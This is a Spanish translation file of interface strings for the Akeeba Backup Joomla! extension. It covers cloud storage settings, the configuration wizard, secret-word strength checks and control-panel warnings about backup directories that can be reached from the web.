COM_AKEEBABACKUP_CONFIG_SCANENGINE_DESCRIPTION="Define cómo Akeeba Backup explorará los archivos y carpetas de su sitio para determinar cuáles deben incluirse en la copia de seguridad."
COM_AKEEBABACKUP_CONFIG_SCANENGINE_TITLE="Motor de exploración del sistema de archivos"
COM_AKEEBABACKUP_CONFIG_SECRETWORD_DESC="Esta contraseña se usará con las funciones de copia de seguridad desde el frontend (API heredada) y API JSON para protegerlas contra accesos no autorizados. Akeeba Backup NO habilitará estas funciones a menos que use aquí una contraseña larga y compleja. Consulte la documentación para obtener más información."
COM_AKEEBABACKUP_CONFIG_SECRETWORD_LABEL="Palabra secreta"
COM_AKEEBABACKUP_CONFIG_SECURITY_USEENCRYPTION_DESCRIPTION="Cuando está habilitado, los ajustes de configuración se cifran utilizando el cifrado AES-128 estándar del sector."
COM_AKEEBABACKUP_CONFIG_SECURITY_USEENCRYPTION_LABEL="Usar cifrado"
COM_AKEEBABACKUP_CONFIG_SECURITY_NO_FLUSH_LABEL="Sin flush()"
COM_AKEEBABACKUP_CONFIG_SECURITY_NO_FLUSH_DESCRIPTION="Deshabilita el uso de flush() durante las operaciones AJAX. Habilítelo solo en servidores muy defectuosos donde la copia de seguridad ni siquiera llega a iniciarse."
COM_AKEEBABACKUP_CONFIG_ACCURATE_PHP_CLI_LABEL="Ruta PHP-CLI precisa"
COM_AKEEBABACKUP_CONFIG_ACCURATE_PHP_CLI_DESCRIPTION="Habilite esta opción para que Akeeba Backup intente detectar la ruta PHP-CLI precisa en su servidor. Deshabilítela si su servidor no le permite hacerlo, lo que podría bloquear su dirección IP del sitio durante varios minutos u horas cuando esto ocurre (por ejemplo, en IONOS)."
COM_AKEEBABACKUP_CONFIG_SFTPTEST_BADPREFIX="NO debe añadir el prefijo sftp:// al nombre de host de SFTP. Elimine el prefijo sftp:// e inténtelo de nuevo."
COM_AKEEBABACKUP_CONFIG_SFTPTEST_NOUPLOAD="Akeeba Backup pudo conectarse a su servidor, pero no pudo subir un archivo de prueba. La subida de la copia de seguridad podría fallar."
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_ENABLE_DESCRIPTION="Cuando está activado, Akeeba Backup eliminará los archivos de copia de seguridad antiguos si el tamaño total de los archivos de copia de seguridad supera el valor definido a continuación. Esta configuración se aplica <strong>por perfil</strong>."
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_ENABLE_TITLE="Habilitar cuota de tamaño"
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_VALUE_DESCRIPTION="Si el tamaño total de los archivos de copia de seguridad realizados con el perfil actual supera este límite, las copias de seguridad más antiguas se eliminarán del servidor.<br/><br/><strong>Consejo</strong>: Seleccione Personalizado e introduzca el valor deseado si no aparece en la lista."
COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_VALUE_TITLE="Cuota de tamaño"
COM_AKEEBABACKUP_CONFIG_SPLITDBDUMP_DESCRIPTION="Los volcados de base de datos se dividirán en archivos pequeños para mejorar la compresión y evitar problemas de tamaño de archivo en ciertos servidores de bajo coste. Lo ideal es usar la mitad del tamaño de su umbral de archivo grande. Establezca en 0 para deshabilitar la división y crear un único archivo de volcado enorme por base de datos."
COM_AKEEBABACKUP_CONFIG_SPLITDBDUMP_TITLE="Tamaño para los archivos de volcado SQL divididos"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_ACCESS_DESCRIPTION="Introduzca su ID de clave de acceso. Créela en https://www.sugarsync.com/developer/account"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_ACCESS_TITLE="ID de clave de acceso"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_DIRECTORY_DESCRIPTION="El directorio donde se almacenarán los archivos de copia de seguridad. Si la primera parte del directorio no coincide con el nombre de una carpeta de sincronización de SugarSync, el directorio se creará dentro de su carpeta Magic Briefcase. Puede usar las mismas variables que utiliza para los nombres de los archivos de copia de seguridad, p. ej. [HOST] para el dominio de su sitio o [DATE] para la fecha actual."
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_DIRECTORY_TITLE="Directorio"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_EMAIL_DESCRIPTION="La dirección de correo electrónico de su cuenta de SugarSync"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_EMAIL_TITLE="Correo electrónico"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PASSWORD_DESCRIPTION="La contraseña de su cuenta de SugarSync"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PASSWORD_TITLE="Contraseña"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PRIVATE_DESCRIPTION="Introduzca la clave de acceso privada correspondiente a su ID de clave de acceso. Créela en https://www.sugarsync.com/developer/account"
COM_AKEEBABACKUP_CONFIG_SUGARSYNC_PRIVATE_TITLE="Clave de acceso privada"
COM_AKEEBABACKUP_CONFIG_SWIFT_AUTHURL_DESCRIPTION="El punto de conexión del servicio Keystone de su instalación de OpenStack. SÍ incluya la versión. NO incluya el sufijo /token. Ejemplo: https://authentication.example.com/v2.0"
COM_AKEEBABACKUP_CONFIG_SWIFT_AUTHURL_TITLE="URL de autenticación"
COM_AKEEBABACKUP_CONFIG_SWIFT_CONTAINERURL_DESCRIPTION="El punto de conexión de la API para su contenedor de almacenamiento de objetos; p. ej. https://storage.example.com/v1/AUTH_abcdef0123456789abcdef0123456789/mi-contenedor"
COM_AKEEBABACKUP_CONFIG_SWIFT_CONTAINERURL_TITLE="URL del contenedor"
COM_AKEEBABACKUP_CONFIG_SWIFT_DIRECTORY_DESCRIPTION="El directorio dentro del contenedor de almacenamiento de objetos de OpenStack Swift donde se almacenarán los archivos de copia de seguridad. Para almacenar todo en la raíz del contenedor, déjelo en blanco."
COM_AKEEBABACKUP_CONFIG_SWIFT_DIRECTORY_TITLE="Directorio"
COM_AKEEBABACKUP_CONFIG_SWIFT_PASSWORD_DESCRIPTION="La contraseña de la API de OpenStack para su nube."
COM_AKEEBABACKUP_CONFIG_SWIFT_PASSWORD_TITLE="Contraseña de OpenStack"
COM_AKEEBABACKUP_CONFIG_SWIFT_TENANTID_DESCRIPTION="Su ID de tenant de OpenStack (Keystone v2) o ID de proyecto (Keystone v3); p. ej. a0b1c2d3e4f56789abcdef0123456789"
COM_AKEEBABACKUP_CONFIG_SWIFT_TENANTID_TITLE="ID de tenant / ID de proyecto"
COM_AKEEBABACKUP_CONFIG_SWIFT_USERNAME_DESCRIPTION="El nombre de usuario de la API de OpenStack para su nube."
COM_AKEEBABACKUP_CONFIG_SWIFT_USERNAME_TITLE="Nombre de usuario de OpenStack"
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_TITLE="Versión de Keystone"
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_DESCRIPTION="Elija qué versión del servicio de autenticación OpenStack Keystone utiliza su proveedor de almacenamiento. Si no está seguro, consulte a su proveedor de almacenamiento."
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_V2="Keystone v2 (Legado)"
COM_AKEEBABACKUP_CONFIG_SWIFT_KEYSTONE_VERSION_V3="Keystone v3"
COM_AKEEBABACKUP_CONFIG_SWIFT_DOMAIN_TITLE="Dominio de autenticación de Keystone v3"
COM_AKEEBABACKUP_CONFIG_SWIFT_DOMAIN_DESCRIPTION="Solo se utiliza con la autenticación de Keystone v3. Este es el dominio de autenticación para el servicio Keystone v3, <strong>NO</strong> el nombre de host del servidor de autenticación Keystone. En la mayoría de los casos es <code>default</code> o <code>Default</code>. Si no está seguro, consulte a su proveedor de almacenamiento."
COM_AKEEBABACKUP_CONFIG_UI_AJAXERRORDLG_TEXT="Se ha producido un error mientras se esperaba una respuesta AJAX:"
COM_AKEEBABACKUP_CONFIG_UI_AJAXERRORDLG_TITLE="Error AJAX"
COM_AKEEBABACKUP_CONFIG_UI_BROWSE="Examinar..."
COM_AKEEBABACKUP_CONFIG_UI_BROWSER_TITLE="Navegador de directorios"
COM_AKEEBABACKUP_CONFIG_UI_CONFIG="Configurar..."
COM_AKEEBABACKUP_CONFIG_UI_CUSTOM="Personalizado..."
COM_AKEEBABACKUP_CONFIG_UI_FTPBROWSER_TITLE="Navegador de directorios FTP"
COM_AKEEBABACKUP_CONFIG_UI_REFRESH="Actualizar"
COM_AKEEBABACKUP_CONFIG_UI_ROOTDIR="Usar la raíz del sitio como directorio de salida de copias de seguridad o almacenamiento temporal provocará un fallo en la copia de seguridad. Se está anulando su configuración."
COM_AKEEBABACKUP_CONFIG_UI_SETTINGS_NOTSECURED="Su servidor no admite el cifrado de los ajustes de configuración. Le recomendamos encarecidamente que no almacene contraseñas en la configuración."
COM_AKEEBABACKUP_CONFIG_UI_SETTINGS_SECURED="Sus ajustes están protegidos con cifrado de 128 bits. Puede almacenar sus contraseñas de forma segura en la configuración."
COM_AKEEBABACKUP_CONFIG_UPLOADKICKSTART_DESCRIPTION="Si está marcado, se subirá una copia de Akeeba Kickstart Professional al almacenamiento remoto especificado en el Motor de postprocesamiento anterior (excepto para los motores Ninguno y Correo electrónico). Esto resulta útil cuando se usa FTP o SFTP para transferir su sitio a un servidor diferente: tanto el archivo de copia de seguridad como Kickstart, utilizado para extraerlo, se subirán a su servidor remoto. Una vez completada la copia de seguridad, simplemente puede iniciar Kickstart en el sitio remoto y proceder con su restauración. ¡Así de sencillo!"
COM_AKEEBABACKUP_CONFIG_UPLOADKICKSTART_TITLE="Subir Kickstart al almacenamiento remoto"
COM_AKEEBABACKUP_CONFIG_USAGESTATS_DESC="Ayúdenos a mejorar nuestro software notificando de forma anónima y automática sus versiones de PHP, MySQL y Joomla!. Esta información nos ayudará a decidir qué versiones de Joomla!, PHP y MySQL admitir en versiones futuras. Nota: NO recopilamos el nombre de su sitio, la dirección IP ni ninguna otra información de identificación directa o indirecta."
COM_AKEEBABACKUP_CONFIG_USAGESTATS_LABEL="Activar la notificación anónima de versiones de PHP, MySQL y Joomla!"
COM_AKEEBABACKUP_CONFIG_VIRTUALFOLDER_DESCRIPTION="Si ha configurado directorios fuera del sitio, su contenido aparecerá dentro del archivo como subdirectorios de este directorio virtual. Es virtual porque en realidad no existe en su servidor. Solo existe dentro del archivo de copia de seguridad. Asegúrese de que el nombre del directorio virtual no entre en conflicto con un directorio existente para evitar pérdida de datos."
COM_AKEEBABACKUP_CONFIG_VIRTUALFOLDER_TITLE="Directorio virtual para archivos fuera del sitio"
COM_AKEEBABACKUP_CONFIG_WEBDAV_DIRECTORY_DESCRIPTION="Directorio"
COM_AKEEBABACKUP_CONFIG_WEBDAV_DIRECTORY_TITLE="Directorio"
COM_AKEEBABACKUP_CONFIG_WEBDAV_PASSWORD_DESCRIPTION="Contraseña"
COM_AKEEBABACKUP_CONFIG_WEBDAV_PASSWORD_TITLE="Contraseña"
COM_AKEEBABACKUP_CONFIG_WEBDAV_URL_DESCRIPTION="URL base de WebDAV"
COM_AKEEBABACKUP_CONFIG_WEBDAV_URL_TITLE="URL base de WebDAV"
COM_AKEEBABACKUP_CONFIG_WEBDAV_USERNAME_DESCRIPTION="Nombre de usuario"
COM_AKEEBABACKUP_CONFIG_WEBDAV_USERNAME_TITLE="Nombre de usuario"
COM_AKEEBABACKUP_CONFIG_WHERE_ARE_THE_FILTERS="Si está buscando los filtros &ndash;por ejemplo, para excluir archivos, directorios y tablas de base de datos&ndash; haga clic en el botón Cancelar para volver a la página del Panel de control donde puede acceder a estas funciones directamente."
COM_AKEEBABACKUP_CONFIG_ZIPCDGLUECHUNKSIZE_DESCRIPTION="Los archivos ZIP se componen de una sección de datos y una sección de \"directorio\". Akeeba Backup procesa estas secciones en paralelo y las une durante la fase de finalización del archivo. Este parámetro determina cuántos datos se procesarán a la vez durante esta fase. No debería necesitar cambiar este ajuste a menos que tenga graves problemas de agotamiento de memoria."
COM_AKEEBABACKUP_CONFIG_ZIPCDGLUECHUNKSIZE_TITLE="Tamaño de fragmento para el procesamiento del directorio central"
COM_AKEEBABACKUP_CONFIG__BACKBLAZE_DIRECTORY_TITLE="Directorio"
COM_AKEEBABACKUP_CONFWIZ="Asistente de configuración"
COM_AKEEBABACKUP_CONFWIZ_CONGRATS="¡Enhorabuena! Ha completado el asistente de configuración automática. Ahora puede probar su nueva configuración realizando una copia de seguridad, o ajustarla en la página de Configuración."
COM_AKEEBABACKUP_CONFWIZ_DBOPT="Optimizando los ajustes del motor de volcado de base de datos"
COM_AKEEBABACKUP_CONFWIZ_DIRECTORY="Examinando el directorio de salida"
COM_AKEEBABACKUP_CONFWIZ_HEADER_FAILED="Error en el asistente de configuración"
COM_AKEEBABACKUP_CONFWIZ_HEADER_FINISHED="Evaluación comparativa finalizada"
COM_AKEEBABACKUP_CONFWIZ_INTROTEXT="El asistente de configuración ejecuta una serie de pruebas comparativas en su servidor para determinar los ajustes óptimos de copia de seguridad para su sitio. No navegue fuera de esta página. Es normal que parezca bloqueado durante períodos de hasta tres (3) minutos, dependiendo de la velocidad de su servidor."
COM_AKEEBABACKUP_CONFWIZ_MAXEXEC="Optimizando el tiempo máximo de ejecución"
COM_AKEEBABACKUP_CONFWIZ_MINEXEC="Optimizando el tiempo mínimo de ejecución"
COM_AKEEBABACKUP_CONFWIZ_PROGRESS="Análisis del entorno del servidor en curso"
COM_AKEEBABACKUP_CONFWIZ_SPLITSIZE="Determinando el tamaño de parte requerido para archivos divididos"
COM_AKEEBABACKUP_CONFWIZ_FLUSH="Comprobando si <code>flush()</code> funciona en su servidor"
COM_AKEEBABACKUP_CONFWIZ_UI_CANTDBOPT="Akeeba Backup no pudo determinar los ajustes óptimos de volcado de base de datos. Asegúrese de que su servidor funciona con MySQL 5.0 o posterior y que su usuario de base de datos tiene permiso para ejecutar el comando SHOW TABLE STATUS antes de volver a ejecutar este asistente."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTDETERMINEMINEXEC="No se pudo determinar el tiempo mínimo de ejecución. Esto indica un grave problema de comunicación con su servidor. Intente configurar Akeeba Backup manualmente."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTDETERMINEPARTSIZE="Akeeba Backup no pudo determinar un tamaño de parte adecuado para su servidor. Asegúrese de tener espacio libre suficiente en su cuenta y vuelva a ejecutar este asistente."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTFIXDIRECTORIES="Akeeba Backup no pudo encontrar un directorio de salida y temporal con permisos de escritura. Otorgue permisos de escritura al directorio administrator/components/com_akeebabackup/backup y vuelva a ejecutar este asistente."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTSAVEMAXEXEC="Akeeba Backup no pudo guardar las preferencias de tiempo máximo de ejecución. Deberá configurarlo manualmente."
COM_AKEEBABACKUP_CONFWIZ_UI_CANTSAVEMINEXEC="No se pudo guardar la preferencia de tiempo mínimo de ejecución. Deberá configurar Akeeba Backup manualmente."
COM_AKEEBABACKUP_CONFWIZ_UI_EXECTOOLOW="Akeeba Backup ha detectado que su servidor requiere un tiempo máximo de ejecución demasiado bajo para ser práctico. Sería mejor cambiar de proveedor de alojamiento o solicitar a su proveedor que aumente el tiempo máximo de ejecución de PHP y elimine las limitaciones de uso de CPU de su cuenta."
COM_AKEEBABACKUP_CONFWIZ_UI_MINEXECTRY="Probando %s segundos"
COM_AKEEBABACKUP_CONFWIZ_UI_PARTSIZE="Probando un tamaño de parte de %s Mb"
COM_AKEEBABACKUP_CONFWIZ_UI_SAVEMINEXEC="Guardando la preferencia de tiempo mínimo de ejecución"
COM_AKEEBABACKUP_CONFWIZ_UI_SAVINGMAXEXEC="Guardando la preferencia de tiempo máximo de ejecución"
COM_AKEEBABACKUP_CONFWIZ_UI_TRYAJAX="Intentando realizar una solicitud AJAX asíncrona a su servidor"

COM_AKEEBABACKUP_CONTROLPANEL="Panel de control"
COM_AKEEBABACKUP_CONTROLPANEL_BTN_HIDE="Recordármelo en 15 días"
COM_AKEEBABACKUP_CONTROLPANEL_BTN_LEARNMORE="Más información sobre <strong>Akeeba Backup Professional</strong>"
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_LBL_DISCOUNT="Use el código de cupón <strong>%s</strong> para suscribirse con un descuento introductorio del <strong>20%%</strong>."
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_LBL_PROUPSELL_1="Añada copias de seguridad programadas, subida automática a más de 40 proveedores de almacenamiento en la nube, restauración integrada, un asistente de transferencia de sitios y mucho más con <strong>Akeeba Backup Professional</strong>."
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_LBL_PROUPSELL_2="Una sola licencia es válida para <strong>sitios ilimitados</strong>. Incluye soporte de los desarrolladores que escriben este software."
COM_AKEEBABACKUP_CONTROLPANEL_HEAD_PROUPSELL="Simplifique su trabajo"
COM_AKEEBABACKUP_CONTROLPANEL_MSG_REBUILTTABLES="<h3>¡Vaya! Las tablas de base de datos de Akeeba Backup están dañadas.</h3><p>Akeeba Backup ha detectado que sus tablas de base de datos faltan o están dañadas. Habiendo iniciado sesión como Superusuario en el backend de administración de su sitio, vaya al elemento de menú Sistema en el menú lateral de Joomla. Seleccione el enlace Base de datos en el panel de Mantenimiento. Seleccione el elemento Akeeba Backup de la lista y haga clic en el botón Actualizar estructura en la barra de herramientas para solucionar los problemas de las tablas de base de datos. Luego vuelva a intentar acceder a Akeeba Backup.</p>"
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L1="Akeeba Backup no pudo determinar los permisos del directorio <code>media/com_akeebabackup</code>."
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L2="Por favor, realice una de las siguientes acciones:"
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L3A="Activar el modo FTP de Joomla! en la Configuración global"
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L3B="Cambiar los permisos del directorio <code>media/com_akeebabackup</code> y todos sus subdirectorios a 0755 y todos sus archivos a 0644 mediante su cliente FTP."
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L4="Akeeba Backup <strong><u>muy probablemente no funcionará en absoluto</u></strong> si no lleva a cabo estos pasos. Si ve este mensaje, siga las instrucciones antes de solicitar soporte. Le ahorrará mucho tiempo."
COM_AKEEBABACKUP_CONTROLPANEL_WARN_WARNING="ADVERTENCIA"
COM_AKEEBABACKUP_CPANEL_BTN_FESECRETWORD_RESET="Aplicar la palabra secreta sugerida"
COM_AKEEBABACKUP_CPANEL_BTN_FIXSECURITY="Corregir la seguridad de mis copias de seguridad"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_BANNED="La palabra secreta es una contraseña conocida como insegura. Por favor, no use palabras del diccionario, nombres de películas o series, ni los nombres de sus seres queridos o mascotas."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_HEADER="Las funciones de copia de seguridad desde el frontend y de forma remota están desactivadas"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_INTRO="Su <em>Palabra secreta</em> no es segura y puede adivinarse fácilmente. Para proteger su sitio, Akeeba Backup ha desactivado el acceso a la copia de seguridad desde el frontend y de forma remota hasta que introduzca una Palabra secreta segura. El problema detectado es:"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_RESET="No se pudo cambiar la Palabra secreta"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_TOOSHORT="La palabra secreta es demasiado corta. Use una palabra secreta de al menos 8 caracteres."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_TOOSIMPLE="La palabra secreta es demasiado simple. Intente usar letras en minúsculas y mayúsculas, números y puntuación."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_WHATTODO_COMMON="Como alternativa, haga clic en el botón de abajo para restablecer la palabra secreta al valor sugerido <code>%s</code>. En cualquier caso, deberá actualizar sus servicios de copia de seguridad remota y/o trabajos CRON con la nueva Palabra secreta."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_WHATTODO_JOOMLA="Haga clic en Opciones, Frontend e introduzca una palabra secreta más compleja."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_WHATTODO_SOLO="Haga clic en Configuración del sistema, API pública e introduzca una palabra secreta más compleja."
COM_AKEEBABACKUP_CPANEL_ERR_INVALIDDOWNLOADID="Formato de ID de descarga no válido. Siga nuestras instrucciones para obtener su ID de descarga. No introduzca su nombre de usuario, dirección de correo electrónico ni contraseña en este campo."
COM_AKEEBABACKUP_CPANEL_HEADER_ADVANCED="Operaciones avanzadas"
COM_AKEEBABACKUP_CPANEL_HEADER_BASICOPS="Operaciones básicas"
COM_AKEEBABACKUP_CPANEL_HEADER_INCLUDEEXCLUDE="Información de inclusión y exclusión"
COM_AKEEBABACKUP_CPANEL_HEADER_QUICKBACKUP="Copia de seguridad con un solo clic"
COM_AKEEBABACKUP_CPANEL_HEADER_TROUBLESHOOTING="Solución de problemas"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_INSECURE="Directorio de salida inseguro"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_INSECURE_ALT="Directorio de salida y nombre de archivo de copia de seguridad posiblemente inseguros"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_INVALID="Directorio de salida no válido"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_UNFIXABLE="Problema de seguridad en el directorio de salida que no se puede corregir"
COM_AKEEBABACKUP_CPANEL_LABEL_STATUSSUMMARY="Resumen de estado"
COM_AKEEBABACKUP_CPANEL_LBL_INCLUDEEXCLUDE_CALLOUT="Las opciones de inclusión y exclusión solo se aplican al perfil de copia de seguridad activo."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_CLICKTHEBUTTON="Haga clic en el botón de abajo para corregir este problema. Esto es lo que hace."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_DELETEORBEHACKED="Hasta que lo haga, le <strong>RECOMENDAMOS MUY ENCARECIDAMENTE</strong> que no realice una copia de seguridad de su sitio y, si ya lo ha hecho, elimine todos los archivos de copia de seguridad y los archivos de registro. <strong>NO SEGUIR ESTAS INSTRUCCIONES MUY PROBABLEMENTE RESULTARÁ EN QUE SU SITIO SE VEA COMPROMETIDO (HACKEADO) Y SUS COPIAS DE SEGURIDAD SEAN MUY PROBABLEMENTE INUTILIZABLES.</strong>"
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_FILEREADABLE="Akeeba Backup ha detectado que su directorio de salida de copias de seguridad <code>%s</code> está bajo la raíz web de su sitio. Su contenido, incluidos los archivos de copia de seguridad, es accesible a través de la web. Sin embargo, NO es posible listar los archivos del directorio con un navegador web. <strong>Esto puede ser un problema de seguridad</strong>. Un atacante podría adivinar el nombre del archivo de copia de seguridad y descargarlo directamente, eludiendo la seguridad de su sitio."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_FIX_RANDOM="Su «Nombre de archivo de salida de copia de seguridad» se modificará para incluir la variable <code>[RANDOM]</code>. Esto hace prácticamente imposible adivinar los nombres de los archivos de copia de seguridad al añadir 16 letras y/o números aleatorios y diferentes en el nombre del archivo de copia de seguridad cada vez que realice una copia de seguridad."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_FIX_SECURITYFILES="Se escribirán un archivo <code>.htaccess</code> y un archivo <code>web.config</code> en esa carpeta. En la mayoría de los servidores esto es suficiente para evitar las descargas web directas de cualquier archivo que contiene y desactiva el listado de sus archivos. También disponemos de una solución para los servidores donde estos archivos especiales no tienen efecto. También se escribirán otros tres archivos llamados <code>index.php</code>, <code>index.html</code> e <code>index.htm</code> en esa carpeta. Estos archivos de índice impiden que el servidor web liste los nombres de los archivos de copia de seguridad y los archivos de registro."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_ISSYSTEM="Además, su directorio de salida es igual o es un subdirectorio de una carpeta que Joomla y sus extensiones utilizan para sus propios archivos de acceso público."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_ISSYSTEM_FIX="Debe ir a la página de Configuración de Akeeba Backup y seleccionar un directorio de salida diferente."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_LISTABLE="Akeeba Backup ha detectado que su directorio de salida de copias de seguridad <code>%s</code> está bajo la raíz web de su sitio. Su contenido, incluidos los archivos de copia de seguridad, es accesible a través de la web. Además, es posible listar los archivos del directorio, es decir, muestra un listado de sus archivos de copia de seguridad cuando accede a él con un navegador web. <strong>Esto es un grave problema de seguridad</strong>. Un atacante puede acceder a esta carpeta desde un navegador web y descargar sus archivos de copia de seguridad directamente, eludiendo la seguridad de su sitio."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_TRASHHOST="Desafortunadamente, su servidor no admite ningún método razonable para asegurar el directorio. Independientemente de lo que hagamos, siempre listará los nombres de los archivos que contiene y permitirá descargarlos desde un navegador. Su única opción es crear un directorio de salida de copias de seguridad por encima de la raíz de su sitio."
COM_AKEEBABACKUP_CPANEL_LBL_STATUS_ERROR="Los errores detectados impiden el funcionamiento previsto"
COM_AKEEBABACKUP_CPANEL_LBL_STATUS_OK="Akeeba Backup está listo para realizar una copia de seguridad de su sitio"
COM_AKEEBABACKUP_CPANEL_LBL_STATUS_WARNING="Akeeba Backup está listo para realizar una copia de seguridad de su sitio, pero hay posibles problemas"
COM_AKEEBABACKUP_CPANEL_LBL_UNWRITABLE="Sin permisos de escritura"
COM_AKEEBABACKUP_CPANEL_LBL_WRITABLE="Con permisos de escritura"
COM_AKEEBABACKUP_CPANEL_MSG_CLOUDFLARE_WARN1="Hemos detectado que CloudFlare Rocket Loader está activado en su sitio. Esta función interferirá con el JavaScript de su sitio, alterando el orden en que se cargan los scripts y provocando errores de JavaScript. Por favor, desactive la función Rocket Loader para que el JavaScript de Joomla y de Akeeba Backup funcione correctamente. Para más información e instrucciones, consulte la <a href='%s' target='_blank'>documentación de CloudFlare</a>."
COM_AKEEBABACKUP_CPANEL_MSG_CLOUDFLARE_WARN="El Rocket Loader de CloudFlare impedirá que use Joomla!&trade; y Akeeba Backup correctamente"
COM_AKEEBABACKUP_CPANEL_MSG_FESECRETWORD_RESET="La Palabra secreta ha cambiado a <code>%s</code>"
COM_AKEEBABACKUP_CPANEL_MSG_JOOMLABUGGYUPDATES="<strong>Importante:</strong> Si Joomla ya ha determinado que hay actualizaciones para Akeeba Backup antes de que introdujera su ID de descarga, <em>puede que no sea capaz de descargarlas</em> incluso después de haberlo introducido, debido a varios errores persistentes de Joomla. En ese caso, descargue el archivo ZIP de la última versión desde nuestro sitio. Luego vaya al menú Sistema de Joomla, busque el panel Instalar, haga clic en Extensiones, haga clic en la pestaña Subir archivo de paquete e instale el archivo ZIP que descargó <strong>dos veces</strong> seguidas, <strong>sin</strong> desinstalar Akeeba Backup antes ni entre medias. La doble instalación es necesaria para solucionar otro error persistente de Joomla que a veces le impide copiar todos los archivos actualizados al instalar una actualización de extensión."
COM_AKEEBABACKUP_CPANEL_MSG_MUSTENTERDLID="Debe introducir su ID de descarga"
COM_AKEEBABACKUP_CPANEL_MSG_WHERETOENTERDLID="Vaya al menú Sistema de Joomla desde la parte izquierda. Busque el panel Actualización y haga clic en el enlace Sitios de actualización. Busque el elemento «Akeeba Backup Professional» y haga clic en él. También puede <a href=\"%s\">hacer clic aquí</a> para ir directamente a esa página. Introduzca su ID de descarga —ya sea su ID principal o un ID de descarga adicional— en el campo «Clave de descarga» y haga clic en el botón Guardar."
COM_AKEEBABACKUP_CPANEL_PROFILE_BUTTON="Cambiar perfiles"
COM_AKEEBABACKUP_CPANEL_PROFILE_SWITCH_ERROR="Error al cambiar el perfil activo"
COM_AKEEBABACKUP_CPANEL_PROFILE_SWITCH_OK="Perfil cambiado correctamente"
COM_AKEEBABACKUP_CPANEL_PROFILE_TITLE="Perfil activo"
COM_AKEEBABACKUP_CPANEL_WARNING_Q001="Directorio de salida sin permisos de escritura"
COM_AKEEBABACKUP_CPANEL_WARNING_Q003="Uso de la raíz del sitio como directorio de salida o temporal"
COM_AKEEBABACKUP_CPANEL_WARNING_Q004="El límite de memoria de PHP es demasiado bajo"
COM_AKEEBABACKUP_CPANEL_WARNING_Q013="Uso de la carpeta del componente como directorio de salida"
COM_AKEEBABACKUP_CPANEL_WARNING_Q015="Carpeta pública personalizada de Joomla! con la opción Desreferenciar enlaces activada"
COM_AKEEBABACKUP_CPANEL_WARNING_Q101="El directorio de salida está restringido por open_basedir"
COM_AKEEBABACKUP_CPANEL_WARNING_Q103="El tiempo máximo de ejecución es demasiado bajo"
COM_AKEEBABACKUP_CPANEL_WARNING_Q104="El directorio temporal es el mismo que la raíz del sitio"
COM_AKEEBABACKUP_CPANEL_WARNING_Q106="El prefijo del nombre de tabla de su base de datos contiene una o más letras mayúsculas"
COM_AKEEBABACKUP_CPANEL_WARNING_Q107="Está usando <code>bak_</code> como prefijo del nombre de tabla de la base de datos de su sitio."
COM_AKEEBABACKUP_CPANEL_WARNING_Q201="Versión de PHP desactualizada"
COM_AKEEBABACKUP_CPANEL_WARNING_Q202="Problema de cálculo de CRC"
COM_AKEEBABACKUP_CPANEL_WARNING_Q203="Se está usando el directorio de salida predeterminado"
COM_AKEEBABACKUP_CPANEL_WARNING_Q204="Las funciones desactivadas pueden afectar al funcionamiento"
COM_AKEEBABACKUP_CPANEL_WARNING_Q401="Formato ZIP seleccionado"
COM_AKEEBABACKUP_CPANEL_WARNING_QNONE="No se han detectado problemas"
COM_AKEEBABACKUP_CPANL_ERR_MBSTRING_TITLE="Su versión de PHP no tiene la extensión mbstring instalada o activada."
COM_AKEEBABACKUP_CPANL_ERR_MBSTRING_BODY="Tenerla activada es un requisito de Joomla!. Joomla! y Akeeba Backup no funcionarán correctamente. Solicite a su proveedor de alojamiento que active la extensión mbstring en PHP %s que se ejecuta en su servidor."

